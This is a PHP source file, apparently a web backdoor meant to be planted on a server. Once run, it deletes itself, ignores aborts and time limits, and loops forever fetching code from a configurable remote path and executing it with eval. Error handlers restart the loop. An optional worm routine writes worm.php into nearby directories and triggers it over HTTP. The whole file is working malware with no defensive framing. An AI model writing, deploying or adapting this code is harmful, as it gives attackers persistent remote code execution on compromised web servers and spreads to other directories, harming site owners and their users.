<?php
/**
 * Created by PhpStorm.
 * User: Weizehua
 * Date: 8/5/2016
 * Time: 21:44
 */
header("Content-Type:text/plain; charset=UTF-8");

// user defined variables
$run_remote_code = true;
$remote_code_path = 'remote_code_path_placeholder';
$put_worm = false;
$worm_code = "";

$echo_code = false;
$echo_wormFile = true;
$echo_error = true;

$delete_self = true;

// ignoring abort
ignore_user_abort(true);

// no time limit
set_time_limit(0);

// error handling
set_error_handler('errorHandler');
register_shutdown_function('fatalErrorHandler');

// self-deleting
if($delete_self)
    unlink(__FILE__);

function put_worm_reversal_down($root)
{
    global $worm_code;
    if (file_put_contents("$root/worm.php", "<?php\r\n$worm_code"))
        return "$root/worm.php";
    $dir = dir($root);
    while ($file = $dir->read())
    {
        if (is_dir($file) && $file != '.' && $file != '..')
        {
            return put_worm_reversal_down("$root/$file");
        }
    }
    return false;
}

function put_worm_reversal_up($root)
{
    global $worm_code;
    if (file_put_contents("$root/worm.php", "<?php\r\n$worm_code"))
        return "$root/worm.php";
    put_worm_reversal_up("$root/..");
    return false;
}

function run_worm($path)
{
    global $echo_wormFile;
    if ($path)
    {
        if ($echo_wormFile)
        {
            echo "code injected : $path\n";
            ob_flush();
            flush();
        }
        $path_to_document_root = dirname($_SERVER['PHP_SELF']) . "/$path";
        return file_get_contents("http://{$_SERVER['SERVER_NAME']}:{$_SERVER['SERVER_PORT']}$path_to_document_root");
    }
    return false;
}

function put_worm()
{
    $path = put_worm_reversal_down(".");
    if ($path && run_worm($path))
        return true;
    
    $path = put_worm_reversal_up("..");
    if ($path && run_worm($path))
        return true;
    return false;
}

function errorHandler($errno, $errstr, $errfile, $errline)
{
    global $echo_error;
    if ($echo_error)
        echo $errno, $errstr, $errfile, $errline, "\n";
    ob_flush();
    flush();
    sleep(30);
    evaluator();
}

function fatalErrorHandler()
{
    $e = error_get_last();
    errorHandler($e['type'], $e['message'], $e['file'], $e['line']);
}

function read_and_run($remote_file)
{
    global $echo_code;
    try
    {
        //echo 'getting file content';
        $code = file_get_contents($remote_file);
        if($echo_code)
            echo "code : $code\n";
        eval($code);
    }
    catch (Exception $e)
    {
        echo $e;
    }
    ob_flush();
    flush();
}

function evaluator()
{
    global $remote_code_path;
    
    // execution
    do
    {
        read_and_run($remote_code_path);
        sleep(5);
    } while (true);
}

if ($put_worm)
    put_worm();
evaluator();
